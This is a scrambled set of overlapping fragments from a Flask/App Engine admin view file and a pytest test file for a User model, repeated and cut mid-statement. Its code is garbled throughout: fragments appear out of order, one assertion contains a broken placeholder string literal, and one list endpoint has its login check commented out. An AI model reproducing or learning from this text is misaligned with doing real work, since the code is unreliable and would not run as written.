CapabilityDisabledError: return jsonify(result = {'status':'Error to save'}) else: return", "CapabilityDisabledError: return jsonify(result = {'status':'Error to update'}) else: return jsonify(result = {'status':'NOT item", "example.key.delete() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to save'})", "def dispatch_request(self): examples = ExampleModel.query() return render_template('ini.html', examples=examples ) class PIni_list(View): #@login_required def", "else: return jsonify(result = {'status':'no example_example send'}) else: return jsonify(result = {'status':'NOT is", "CapabilityDisabledError from forms import ExampleForm from models import ExampleModel from decorators import login_required", "ExampleForm from models import ExampleModel from decorators import login_required from utils import to_dict", "{'status':'DONT cant save'}) else: return jsonify(result = {'status':'NOT is correct method'}) class PIni_update(View):", "decorators import login_required from utils import to_dict class PIni(View): @login_required def dispatch_request(self): examples", "View from flask import flash, redirect, url_for, jsonify, render_template, request import json from", "except CapabilityDisabledError: return jsonify(result = {'status':'DONT cant save'}) else: return jsonify(result = {'status':'NOT", "request.method == \"POST\": form = request.get_json() example = ExampleModel( example_name = form['example_name'], example_description", "= users.get_current_user() ) try: example.put() example_id = example.key.id() return jsonify(result = {'status':'ok'}) except", "if request.method == \"POST\": form = request.get_json() example_id = form['example_id'] if example_id: example", "form['example_id'] if example_id: example = ExampleModel.get_by_id( int(example_id) ) if example: try: example.key.delete() return", "int(example_id) ) if example: try: example.key.delete() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return", "import to_dict class PIni(View): @login_required def dispatch_request(self): examples = ExampleModel.query() return render_template('ini.html', examples=examples", "PIni_update(View): @login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json() example_id =", "example_example send'}) else: return jsonify(result = {'status':'NOT is correct method'}) class PIni_put(View): @login_required", "= {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'DONT cant save'}) else: return jsonify(result", "ExampleModel.query() return render_template('ini.html', examples=examples ) class PIni_list(View): #@login_required def dispatch_request(self): list = ExampleModel.query().fetch()", "from flask import flash, redirect, url_for, jsonify, render_template, request import json from google.appengine.api", "save'}) else: return jsonify(result = {'status':'NOT is correct method'}) class PIni_update(View): @login_required def", "if example_id: example = ExampleModel.get_by_id( int(example_id) ) if example: try: example.example_name = form['example_name']", "from flask.views import View from flask import flash, redirect, url_for, jsonify, render_template, request", "PIni_delete(View): @login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json() example_id =", "CapabilityDisabledError: return jsonify(result = {'status':'DONT cant save'}) else: return jsonify(result = {'status':'NOT is", "jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to update'}) else: return", "example.example_name = form['example_name'] example.example_description = form['example_description'] example.put() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError:", "example.put() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to update'})", "update'}) else: return jsonify(result = {'status':'NOT item found'}) else: return jsonify(result = {'status':'no", "request.method == \"POST\": form = request.get_json() example_id = form['example_id'] if example_id: example =", "= {'status':'Error to update'}) else: return jsonify(result = {'status':'NOT item found'}) else: return", "def dispatch_request(self): if request.method == \"POST\": form = request.get_json() example = ExampleModel( example_name", "ExampleModel( example_name = form['example_name'], example_description = form['example_description'], added_by = users.get_current_user() ) try: example.put()", "ExampleModel.query().fetch() list = to_dict(list) return jsonify(results = list) class PIni_delete(View): @login_required def dispatch_request(self):", "= form['example_description'] example.put() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error", "from forms import ExampleForm from models import ExampleModel from decorators import login_required from", "= ExampleModel.get_by_id( int(example_id) ) if example: try: example.example_name = form['example_name'] example.example_description = form['example_description']", "example.example_description = form['example_description'] example.put() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result =", "return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'DONT cant save'}) else:", "= list) class PIni_delete(View): @login_required def dispatch_request(self): if request.method == \"POST\": form =", "examples=examples ) class PIni_list(View): #@login_required def dispatch_request(self): list = ExampleModel.query().fetch() list = to_dict(list)", "= example.key.id() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'DONT cant", "{'status':'NOT is correct method'}) class PIni_put(View): @login_required def dispatch_request(self): if request.method == \"POST\":", "ExampleModel.get_by_id( int(example_id) ) if example: try: example.example_name = form['example_name'] example.example_description = form['example_description'] example.put()", "class PIni(View): @login_required def dispatch_request(self): examples = ExampleModel.query() return render_template('ini.html', examples=examples ) class", "-*- coding: utf-8 -*- from flask.views import View from flask import flash, redirect,", "{'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to update'}) else: return jsonify(result =", "if example: try: example.example_name = form['example_name'] example.example_description = form['example_description'] example.put() return jsonify(result =", "item found'}) else: return jsonify(result = {'status':'no example_example send'}) else: return jsonify(result =", "if example: try: example.key.delete() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result =", "to save'}) else: return jsonify(result = {'status':'NOT item found'}) else: return jsonify(result =", "<filename>appg/views/admin_list_examples.py # -*- coding: utf-8 -*- from flask.views import View from flask import", "flask import flash, redirect, url_for, jsonify, render_template, request import json from google.appengine.api import", "import flash, redirect, url_for, jsonify, render_template, request import json from google.appengine.api import users", "from decorators import login_required from utils import to_dict class PIni(View): @login_required def dispatch_request(self):", "render_template('ini.html', examples=examples ) class PIni_list(View): #@login_required def dispatch_request(self): list = ExampleModel.query().fetch() list =", "{'status':'Error to save'}) else: return jsonify(result = {'status':'NOT item found'}) else: return jsonify(result", "example: try: example.key.delete() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error", "example: try: example.example_name = form['example_name'] example.example_description = form['example_description'] example.put() return jsonify(result = {'status':'ok'})", "form['example_name'], example_description = form['example_description'], added_by = users.get_current_user() ) try: example.put() example_id = example.key.id()", "= {'status':'NOT is correct method'}) class PIni_put(View): @login_required def dispatch_request(self): if request.method ==", "save'}) else: return jsonify(result = {'status':'NOT item found'}) else: return jsonify(result = {'status':'no", "import json from google.appengine.api import users from google.appengine.runtime.apiproxy_errors import CapabilityDisabledError from forms import", "is correct method'}) class PIni_update(View): @login_required def dispatch_request(self): if request.method == \"POST\": form", ") class PIni_list(View): #@login_required def dispatch_request(self): list = ExampleModel.query().fetch() list = to_dict(list) return", "= ExampleModel.query() return render_template('ini.html', examples=examples ) class PIni_list(View): #@login_required def dispatch_request(self): list =", "request.get_json() example = ExampleModel( example_name = form['example_name'], example_description = form['example_description'], added_by = users.get_current_user()", "return jsonify(result = {'status':'Error to save'}) else: return jsonify(result = {'status':'NOT item found'})", ") if example: try: example.example_name = form['example_name'] example.example_description = form['example_description'] example.put() return jsonify(result", "example_id = form['example_id'] if example_id: example = ExampleModel.get_by_id( int(example_id) ) if example: try:", "example_id = example.key.id() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'DONT", "example.key.id() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'DONT cant save'})", "try: example.key.delete() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to", "\"POST\": form = request.get_json() example = ExampleModel( example_name = form['example_name'], example_description = form['example_description'],", "google.appengine.runtime.apiproxy_errors import CapabilityDisabledError from forms import ExampleForm from models import ExampleModel from decorators", "example = ExampleModel.get_by_id( int(example_id) ) if example: try: example.key.delete() return jsonify(result = {'status':'ok'})", "send'}) else: return jsonify(result = {'status':'NOT is correct method'}) class PIni_put(View): @login_required def", "{'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to save'}) else: return jsonify(result =", "form['example_id'] if example_id: example = ExampleModel.get_by_id( int(example_id) ) if example: try: example.example_name =", "import users from google.appengine.runtime.apiproxy_errors import CapabilityDisabledError from forms import ExampleForm from models import", "if example_id: example = ExampleModel.get_by_id( int(example_id) ) if example: try: example.key.delete() return jsonify(result", "return jsonify(result = {'status':'NOT is correct method'}) class PIni_update(View): @login_required def dispatch_request(self): if", "= form['example_id'] if example_id: example = ExampleModel.get_by_id( int(example_id) ) if example: try: example.key.delete()", ") if example: try: example.key.delete() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result", "jsonify(result = {'status':'NOT item found'}) else: return jsonify(result = {'status':'no example_example send'}) else:", "{'status':'NOT is correct method'}) class PIni_update(View): @login_required def dispatch_request(self): if request.method == \"POST\":", "models import ExampleModel from decorators import login_required from utils import to_dict class PIni(View):", "correct method'}) class PIni_update(View): @login_required def dispatch_request(self): if request.method == \"POST\": form =", "import View from flask import flash, redirect, url_for, jsonify, render_template, request import json", "= request.get_json() example = ExampleModel( example_name = form['example_name'], example_description = form['example_description'], added_by =", "else: return jsonify(result = {'status':'NOT is correct method'}) class PIni_put(View): @login_required def dispatch_request(self):", "PIni_put(View): @login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json() example =", "{'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'DONT cant save'}) else: return jsonify(result =", "return jsonify(result = {'status':'DONT cant save'}) else: return jsonify(result = {'status':'NOT is correct", "class PIni_list(View): #@login_required def dispatch_request(self): list = ExampleModel.query().fetch() list = to_dict(list) return jsonify(results", "return jsonify(result = {'status':'NOT item found'}) else: return jsonify(result = {'status':'no example_example send'})", "example_id: example = ExampleModel.get_by_id( int(example_id) ) if example: try: example.key.delete() return jsonify(result =", "cant save'}) else: return jsonify(result = {'status':'NOT is correct method'}) class PIni_update(View): @login_required", "url_for, jsonify, render_template, request import json from google.appengine.api import users from google.appengine.runtime.apiproxy_errors import", "import CapabilityDisabledError from forms import ExampleForm from models import ExampleModel from decorators import", "= request.get_json() example_id = form['example_id'] if example_id: example = ExampleModel.get_by_id( int(example_id) ) if", "CapabilityDisabledError: return jsonify(result = {'status':'Error to save'}) else: return jsonify(result = {'status':'NOT item", "found'}) else: return jsonify(result = {'status':'no example_example send'}) else: return jsonify(result = {'status':'NOT", "= {'status':'NOT is correct method'}) class PIni_update(View): @login_required def dispatch_request(self): if request.method ==", "flask.views import View from flask import flash, redirect, url_for, jsonify, render_template, request import", "# -*- coding: utf-8 -*- from flask.views import View from flask import flash,", "\"POST\": form = request.get_json() example_id = form['example_id'] if example_id: example = ExampleModel.get_by_id( int(example_id)", "#@login_required def dispatch_request(self): list = ExampleModel.query().fetch() list = to_dict(list) return jsonify(results = list)", "= {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to save'}) else: return jsonify(result", "request import json from google.appengine.api import users from google.appengine.runtime.apiproxy_errors import CapabilityDisabledError from forms", "ExampleModel from decorators import login_required from utils import to_dict class PIni(View): @login_required def", "return render_template('ini.html', examples=examples ) class PIni_list(View): #@login_required def dispatch_request(self): list = ExampleModel.query().fetch() list", "form = request.get_json() example = ExampleModel( example_name = form['example_name'], example_description = form['example_description'], added_by" ]
[ "test_model_email(self, columns, column_keys): \"\"\"Does our model have our specified `email` field?\"\"\" column =", "'email' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 100 assert column.unique def", "user def test_model_get_by_username_fail(self, app): \"\"\"Does our static method `User.get_by_username_or_404` correctly 404 given a", "field?\"\"\" column = columns[column_keys.index('email')] assert 'email' in column_keys assert isinstance(column.type, db.String) assert column.type.length", "column_keys(self, columns): \"\"\"All keys for the columns on the `User` table.\"\"\" return list(map(lambda", "username='testing', email='<EMAIL>', password='<PASSWORD>' ) user = User.query.first() assert user is not None assert", "`User.authenticate()` fail properly when given an invalid username/PW combo?\"\"\" with app.app_context(): # Non", "assert column.autoincrement def test_model_username(self, columns, column_keys): \"\"\"Does our model have our specified `username`", "`phone` field?\\\"\\\"\\\" column = columns[column_keys.index('phone')] assert 'phone' in column_keys assert isinstance(column.type, db.String) assert", "have our specified `email` field?\"\"\" column = columns[column_keys.index('email')] assert 'email' in column_keys assert", "combo?\"\"\" with app.app_context(): user = User.query.first() att_user = User.authenticate('testing', '<PASSWORD>') assert att_user is", "assert att_user is None # Existing username but bad password: att_user = User.authenticate('testing',", "for the `User` class.\"\"\" def test_model_create(self, app): \"\"\"Does our static method `User.create()` store", "`password` field?\"\"\" column = columns[column_keys.index('password')] assert 'password' in column_keys assert isinstance(column.type, db.String) assert", "class.\"\"\" def test_model_exists(self): \"\"\"Does our model exist?\"\"\" assert User.__table__ is not None def", "user = User.query.first() att_user = User.authenticate('testing', '<PASSWORD>') assert att_user is not None assert", "`User` table.\"\"\" return list(User.__table__.columns) @pytest.fixture() def column_keys(self, columns): \"\"\"All keys for the columns", "method `User.authenticate()` retrieve an existing user given a correct username/PW combo?\"\"\" with app.app_context():", "with app.app_context(): user = User.query.first() testing_user = User.get_by_username_or_404('testing') assert testing_user == user def", "att_user is None def test_model_get_by_username(self, app): \"\"\"Does our static method `User.get_by_username_or_404` retrieve an", "with app.app_context(): try: User.get_by_username_or_404('asdf') except HTTPException as e: assert e.response is None assert", "when given an invalid username/PW combo?\"\"\" with app.app_context(): # Non existent username: att_user", "assert isinstance(column.type, db.Integer) assert column.primary_key assert column.autoincrement def test_model_username(self, columns, column_keys): \"\"\"Does our", "assert column.type.length == 100 assert column.unique def test_model_password(self, columns, column_keys): \"\"\"Does our model", "att_user is None # Existing username but bad password: att_user = User.authenticate('testing', 'asdf')", "have our specified `username` field?\"\"\" column = columns[column_keys.index('username')] assert 'username' in column_keys assert", "isinstance(column.type, db.String) assert column.type.length == 30 assert column.unique \"\"\" def test_model_email(self, columns, column_keys):", "app.app_context(): new_user = User( username='Test', email='<EMAIL>', password='', ) db.session.add(new_user) db.session.commit() extracted_user = User.query.first()", "test_model_exists(self): \"\"\"Does our model exist?\"\"\" assert User.__table__ is not None def test_model_write(self, app):", "isinstance(column.type, db.String) assert column.type.length == 15 assert column.unique \"\"\" def test_model_phone(self, columns, column_keys):", "db.Integer) assert column.primary_key assert column.autoincrement def test_model_username(self, columns, column_keys): \"\"\"Does our model have", "is None def test_model_get_by_username(self, app): \"\"\"Does our static method `User.get_by_username_or_404` retrieve an existing", "\"\"\"Test the existence of our `User` class.\"\"\" def test_model_exists(self): \"\"\"Does our model exist?\"\"\"", "method `User.get_by_username_or_404` correctly 404 given a non-existing username?\"\"\" with app.app_context(): try: User.get_by_username_or_404('asdf') except", "model exist?\"\"\" assert User.__table__ is not None def test_model_write(self, app): \"\"\"Can our model", "'password' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 256 class TestUserHelpers(CleanTestingMixin): \"\"\"Test", "not None assert user.name == 'tester' assert user.username == 'testing' assert user.email ==", "db.String) assert column.type.length == 15 assert column.unique \"\"\" def test_model_phone(self, columns, column_keys): \\\"\\\"\\\"Does", "field?\"\"\" column = columns[column_keys.index('id')] assert 'id' in column_keys assert isinstance(column.type, db.Integer) assert column.primary_key", "user.email == '<EMAIL>' assert user.password != '<PASSWORD>' def test_model_pwd_hash(self, app): \"\"\"Does our static", "testing_user == user def test_model_get_by_username_fail(self, app): \"\"\"Does our static method `User.get_by_username_or_404` correctly 404", "== 'Test' assert extracted_user.email == '<EMAIL>' class TestUserFields(CleanTestingMixin): \"\"\"Test the fields on the", "algorithm signature (Dec. 2020) assert user.password[0:4] == <PASSWORD>$' def test_model_authenticate(self, app): \"\"\"Does our", "with app.app_context(): new_user = User( username='Test', email='<EMAIL>', password='', ) db.session.add(new_user) db.session.commit() extracted_user =", "assert att_user is not None assert user.id == att_user.id assert user.username == att_user.username", "our model have our specified `id` field?\"\"\" column = columns[column_keys.index('id')] assert 'id' in", "the `User` class.\"\"\" @pytest.fixture() def columns(self): \"\"\"All columns on the `User` table.\"\"\" return", "bad password: att_user = User.authenticate('testing', 'asdf') assert att_user is None # Correct password", "def test_model_phone(self, columns, column_keys): \\\"\\\"\\\"Does our model have our specified `phone` field?\\\"\\\"\\\" column", "= User.query.first() assert user is not None # This is the current bcrypt", "== '<EMAIL>' assert user.password != '<PASSWORD>' def test_model_pwd_hash(self, app): \"\"\"Does our static method", "existing user given a correct username/PW combo?\"\"\" with app.app_context(): user = User.query.first() att_user", "`id` field?\"\"\" column = columns[column_keys.index('id')] assert 'id' in column_keys assert isinstance(column.type, db.Integer) assert", "columns, column_keys): \"\"\"Does our model have our specified `password` field?\"\"\" column = columns[column_keys.index('password')]", ") db.session.add(new_user) db.session.commit() extracted_user = User.query.first() assert extracted_user is not None assert extracted_user.username", "signature (Dec. 2020) assert user.password[0:4] == <PASSWORD>$' def test_model_authenticate(self, app): \"\"\"Does our static", "our specified `id` field?\"\"\" column = columns[column_keys.index('id')] assert 'id' in column_keys assert isinstance(column.type,", "'username' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 15 assert column.unique \"\"\"", "username?\"\"\" with app.app_context(): try: User.get_by_username_or_404('asdf') except HTTPException as e: assert e.response is None", "the password?\"\"\" with app.app_context(): user = User.query.first() assert user is not None #", "our specified `phone` field?\\\"\\\"\\\" column = columns[column_keys.index('phone')] assert 'phone' in column_keys assert isinstance(column.type,", "return list(User.__table__.columns) @pytest.fixture() def column_keys(self, columns): \"\"\"All keys for the columns on the", "'<PASSWORD>' def test_model_pwd_hash(self, app): \"\"\"Does our static method `User.create()` use bcrypt to hash", "column = columns[column_keys.index('id')] assert 'id' in column_keys assert isinstance(column.type, db.Integer) assert column.primary_key assert", "def test_model_write(self, app): \"\"\"Can our model be used to write data to the", "user is not None # This is the current bcrypt algorithm signature (Dec.", "columns, column_keys): \"\"\"Does our model have our specified `id` field?\"\"\" column = columns[column_keys.index('id')]", "column = columns[column_keys.index('username')] assert 'username' in column_keys assert isinstance(column.type, db.String) assert column.type.length ==", "user.name == 'tester' assert user.username == 'testing' assert user.email == '<EMAIL>' assert user.password", "'phone' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 30 assert column.unique \"\"\"", "assert isinstance(column.type, db.String) assert column.type.length == 256 class TestUserHelpers(CleanTestingMixin): \"\"\"Test the helper methods", "assert column.primary_key assert column.autoincrement def test_model_username(self, columns, column_keys): \"\"\"Does our model have our", "is not None def test_model_write(self, app): \"\"\"Can our model be used to write", "our specified `username` field?\"\"\" column = columns[column_keys.index('username')] assert 'username' in column_keys assert isinstance(column.type,", "'asdf') assert att_user is None # Existing username but bad password: att_user =", "list(User.__table__.columns) @pytest.fixture() def column_keys(self, columns): \"\"\"All keys for the columns on the `User`", "the helper methods for the `User` class.\"\"\" def test_model_create(self, app): \"\"\"Does our static", "def test_model_pwd_hash(self, app): \"\"\"Does our static method `User.create()` use bcrypt to hash the", "== 100 assert column.unique def test_model_password(self, columns, column_keys): \"\"\"Does our model have our", "att_user = User.authenticate('testing', '<PASSWORD>') assert att_user is not None assert user.id == att_user.id", "column.type.length == 256 class TestUserHelpers(CleanTestingMixin): \"\"\"Test the helper methods for the `User` class.\"\"\"", "given a correct username/PW combo?\"\"\" with app.app_context(): user = User.query.first() att_user = User.authenticate('testing',", "app.app_context(): # Non existent username: att_user = User.authenticate('asdf', 'asdf') assert att_user is None", "import CleanTestingMixin class TestUserExistence(CleanTestingMixin): \"\"\"Test the existence of our `User` class.\"\"\" def test_model_exists(self):", "== <PASSWORD>$' def test_model_authenticate(self, app): \"\"\"Does our static method `User.authenticate()` retrieve an existing", "\"\"\"Does our static method `User.get_by_username_or_404` correctly 404 given a non-existing username?\"\"\" with app.app_context():", "att_user = User.authenticate('asdf', 'asdf') assert att_user is None # Existing username but bad", "columns, column_keys): \\\"\\\"\\\"Does our model have our specified `phone` field?\\\"\\\"\\\" column = columns[column_keys.index('phone')]", "User.get_by_username_or_404('asdf') except HTTPException as e: assert e.response is None assert e.description == \"Resource", "# Existing username but bad password: att_user = User.authenticate('testing', 'asdf') assert att_user is", "Non existent username: att_user = User.authenticate('asdf', 'asdf') assert att_user is None # Existing", "<reponame>ethanaggor/twitter-clone \"\"\"Tests for `app.auth.models.User` class.\"\"\" import pytest from werkzeug.exceptions import HTTPException from app", "is None # Correct password but non existing username: att_user = User.authenticate('asdf', '<PASSWORD>')", "@pytest.fixture() def column_keys(self, columns): \"\"\"All keys for the columns on the `User` table.\"\"\"", "tests.conftest import CleanTestingMixin class TestUserExistence(CleanTestingMixin): \"\"\"Test the existence of our `User` class.\"\"\" def", "user.id == att_user.id assert user.username == att_user.username assert user.password == att_user.password def test_model_unauth(self,", "email='<EMAIL>', password='<PASSWORD>' ) user = User.query.first() assert user is not None assert user.name", "the `User` table.\"\"\" return list(User.__table__.columns) @pytest.fixture() def column_keys(self, columns): \"\"\"All keys for the", "for the columns on the `User` table.\"\"\" return list(map(lambda c: c.key, columns)) def", "TestUserExistence(CleanTestingMixin): \"\"\"Test the existence of our `User` class.\"\"\" def test_model_exists(self): \"\"\"Does our model", "c.key, columns)) def test_model_id(self, columns, column_keys): \"\"\"Does our model have our specified `id`", "att_user is not None assert user.id == att_user.id assert user.username == att_user.username assert", "test_model_write(self, app): \"\"\"Can our model be used to write data to the DB?\"\"\"", "not None # This is the current bcrypt algorithm signature (Dec. 2020) assert", "isinstance(column.type, db.String) assert column.type.length == 256 class TestUserHelpers(CleanTestingMixin): \"\"\"Test the helper methods for", "\"\"\"Does our static method `User.authenticate()` fail properly when given an invalid username/PW combo?\"\"\"", "\"\"\"Does our model have our specified `id` field?\"\"\" column = columns[column_keys.index('id')] assert 'id'", "used to write data to the DB?\"\"\" with app.app_context(): new_user = User( username='Test',", "password='', ) db.session.add(new_user) db.session.commit() extracted_user = User.query.first() assert extracted_user is not None assert", "\"\"\"Does our model have our specified `email` field?\"\"\" column = columns[column_keys.index('email')] assert 'email'", "pytest from werkzeug.exceptions import HTTPException from app import db from app.auth.models import User", "HTTPException from app import db from app.auth.models import User from tests.conftest import CleanTestingMixin", "static method `User.get_by_username_or_404` correctly 404 given a non-existing username?\"\"\" with app.app_context(): try: User.get_by_username_or_404('asdf')", "class TestUserHelpers(CleanTestingMixin): \"\"\"Test the helper methods for the `User` class.\"\"\" def test_model_create(self, app):", "== 30 assert column.unique \"\"\" def test_model_email(self, columns, column_keys): \"\"\"Does our model have", "our model be used to write data to the DB?\"\"\" with app.app_context(): new_user", "list(map(lambda c: c.key, columns)) def test_model_id(self, columns, column_keys): \"\"\"Does our model have our", "static method `User.authenticate()` fail properly when given an invalid username/PW combo?\"\"\" with app.app_context():", "our model have our specified `email` field?\"\"\" column = columns[column_keys.index('email')] assert 'email' in", "== att_user.username assert user.password == att_user.password def test_model_unauth(self, app): \"\"\"Does our static method", "correct username?\"\"\" with app.app_context(): user = User.query.first() testing_user = User.get_by_username_or_404('testing') assert testing_user ==", "to write data to the DB?\"\"\" with app.app_context(): new_user = User( username='Test', email='<EMAIL>',", "not None assert extracted_user.username == 'Test' assert extracted_user.email == '<EMAIL>' class TestUserFields(CleanTestingMixin): \"\"\"Test", "static method `User.authenticate()` retrieve an existing user given a correct username/PW combo?\"\"\" with", "assert 'phone' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 30 assert column.unique", "test_model_phone(self, columns, column_keys): \\\"\\\"\\\"Does our model have our specified `phone` field?\\\"\\\"\\\" column =", "in the DB?\"\"\" with app.app_context(): User.create(name='tester', username='testing', email='<EMAIL>', password='<PASSWORD>' ) user = User.query.first()", "to the DB?\"\"\" with app.app_context(): new_user = User( username='Test', email='<EMAIL>', password='', ) db.session.add(new_user)", "db from app.auth.models import User from tests.conftest import CleanTestingMixin class TestUserExistence(CleanTestingMixin): \"\"\"Test the", "column = columns[column_keys.index('password')] assert 'password' in column_keys assert isinstance(column.type, db.String) assert column.type.length ==", "\"\"\"Does our static method `User.create()` use bcrypt to hash the password?\"\"\" with app.app_context():", "TestUserFields(CleanTestingMixin): \"\"\"Test the fields on the `User` class.\"\"\" @pytest.fixture() def columns(self): \"\"\"All columns", "assert extracted_user is not None assert extracted_user.username == 'Test' assert extracted_user.email == '<EMAIL>'", "the `User` table.\"\"\" return list(map(lambda c: c.key, columns)) def test_model_id(self, columns, column_keys): \"\"\"Does", "db.session.add(new_user) db.session.commit() extracted_user = User.query.first() assert extracted_user is not None assert extracted_user.username ==", "att_user = User.authenticate('asdf', '<PASSWORD>') assert att_user is None def test_model_get_by_username(self, app): \"\"\"Does our", "isinstance(column.type, db.String) assert column.type.length == 100 assert column.unique def test_model_password(self, columns, column_keys): \"\"\"Does", "'<EMAIL>' class TestUserFields(CleanTestingMixin): \"\"\"Test the fields on the `User` class.\"\"\" @pytest.fixture() def columns(self):", "invalid username/PW combo?\"\"\" with app.app_context(): # Non existent username: att_user = User.authenticate('asdf', 'asdf')", "def test_model_email(self, columns, column_keys): \"\"\"Does our model have our specified `email` field?\"\"\" column", "'testing' assert user.email == '<EMAIL>' assert user.password != '<PASSWORD>' def test_model_pwd_hash(self, app): \"\"\"Does", "in column_keys assert isinstance(column.type, db.String) assert column.type.length == 100 assert column.unique def test_model_password(self,", "= columns[column_keys.index('email')] assert 'email' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 100", "password='<PASSWORD>' ) user = User.query.first() assert user is not None assert user.name ==", "on the `User` class.\"\"\" @pytest.fixture() def columns(self): \"\"\"All columns on the `User` table.\"\"\"", "username/PW combo?\"\"\" with app.app_context(): user = User.query.first() att_user = User.authenticate('testing', '<PASSWORD>') assert att_user", "app.app_context(): try: User.get_by_username_or_404('asdf') except HTTPException as e: assert e.response is None assert e.description", "assert user.password == att_user.password def test_model_unauth(self, app): \"\"\"Does our static method `User.authenticate()` fail", "the columns on the `User` table.\"\"\" return list(map(lambda c: c.key, columns)) def test_model_id(self,", "columns[column_keys.index('email')] assert 'email' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 100 assert", "columns, column_keys): \"\"\"Does our model have our specified `username` field?\"\"\" column = columns[column_keys.index('username')]", "model have our specified `id` field?\"\"\" column = columns[column_keys.index('id')] assert 'id' in column_keys", "\"\"\"Does our static method `User.create()` store information in the DB?\"\"\" with app.app_context(): User.create(name='tester',", "app.auth.models import User from tests.conftest import CleanTestingMixin class TestUserExistence(CleanTestingMixin): \"\"\"Test the existence of", "None assert extracted_user.username == 'Test' assert extracted_user.email == '<EMAIL>' class TestUserFields(CleanTestingMixin): \"\"\"Test the", "model have our specified `password` field?\"\"\" column = columns[column_keys.index('password')] assert 'password' in column_keys", "None assert user.name == 'tester' assert user.username == 'testing' assert user.email == '<EMAIL>'", "assert column.type.length == 30 assert column.unique \"\"\" def test_model_email(self, columns, column_keys): \"\"\"Does our", "methods for the `User` class.\"\"\" def test_model_create(self, app): \"\"\"Does our static method `User.create()`", "app): \"\"\"Does our static method `User.get_by_username_or_404` retrieve an existing user given a correct", "assert user.name == 'tester' assert user.username == 'testing' assert user.email == '<EMAIL>' assert", "'<EMAIL>' assert user.password != '<PASSWORD>' def test_model_pwd_hash(self, app): \"\"\"Does our static method `User.create()`", "keys for the columns on the `User` table.\"\"\" return list(map(lambda c: c.key, columns))", "assert user is not None assert user.name == 'tester' assert user.username == 'testing'", "user is not None assert user.name == 'tester' assert user.username == 'testing' assert", "columns on the `User` table.\"\"\" return list(map(lambda c: c.key, columns)) def test_model_id(self, columns,", "correct username/PW combo?\"\"\" with app.app_context(): user = User.query.first() att_user = User.authenticate('testing', '<PASSWORD>') assert", "helper methods for the `User` class.\"\"\" def test_model_create(self, app): \"\"\"Does our static method", "use bcrypt to hash the password?\"\"\" with app.app_context(): user = User.query.first() assert user", "table.\"\"\" return list(User.__table__.columns) @pytest.fixture() def column_keys(self, columns): \"\"\"All keys for the columns on", "\"\"\"Test the helper methods for the `User` class.\"\"\" def test_model_create(self, app): \"\"\"Does our", "non-existing username?\"\"\" with app.app_context(): try: User.get_by_username_or_404('asdf') except HTTPException as e: assert e.response is", "assert User.__table__ is not None def test_model_write(self, app): \"\"\"Can our model be used", "existing user given a correct username?\"\"\" with app.app_context(): user = User.query.first() testing_user =", "extracted_user is not None assert extracted_user.username == 'Test' assert extracted_user.email == '<EMAIL>' class", "class.\"\"\" import pytest from werkzeug.exceptions import HTTPException from app import db from app.auth.models", "email='<EMAIL>', password='', ) db.session.add(new_user) db.session.commit() extracted_user = User.query.first() assert extracted_user is not None", "extracted_user.username == 'Test' assert extracted_user.email == '<EMAIL>' class TestUserFields(CleanTestingMixin): \"\"\"Test the fields on", "= columns[column_keys.index('id')] assert 'id' in column_keys assert isinstance(column.type, db.Integer) assert column.primary_key assert column.autoincrement", "column.type.length == 15 assert column.unique \"\"\" def test_model_phone(self, columns, column_keys): \\\"\\\"\\\"Does our model", "our static method `User.create()` store information in the DB?\"\"\" with app.app_context(): User.create(name='tester', username='testing',", "assert 'username' in column_keys assert isinstance(column.type, db.String) assert column.type.length == 15 assert column.unique", "None # Existing username but bad password: att_user = User.authenticate('testing', 'asdf') assert att_user", "existent username: att_user = User.authenticate('asdf', 'asdf') assert att_user is None # Existing username", "our static method `User.authenticate()` fail properly when given an invalid username/PW combo?\"\"\" with", "= User.authenticate('testing', 'asdf') assert att_user is None # Correct password but non existing", "our `User` class.\"\"\" def test_model_exists(self): \"\"\"Does our model exist?\"\"\" assert User.__table__ is not", "column_keys): \"\"\"Does our model have our specified `password` field?\"\"\" column = columns[column_keys.index('password')] assert", "assert user.id == att_user.id assert user.username == att_user.username assert user.password == att_user.password def", "specified `password` field?\"\"\" column = columns[column_keys.index('password')] assert 'password' in column_keys assert isinstance(column.type, db.String)", "None def test_model_get_by_username(self, app): \"\"\"Does our static method `User.get_by_username_or_404` retrieve an existing user", "our static method `User.authenticate()` retrieve an existing user given a correct username/PW combo?\"\"\"", "fields on the `User` class.\"\"\" @pytest.fixture() def columns(self): \"\"\"All columns on the `User`", "app.app_context(): User.create(name='tester', username='testing', email='<EMAIL>', password='<PASSWORD>' ) user = User.query.first() assert user is not", "== att_user.password def test_model_unauth(self, app): \"\"\"Does our static method 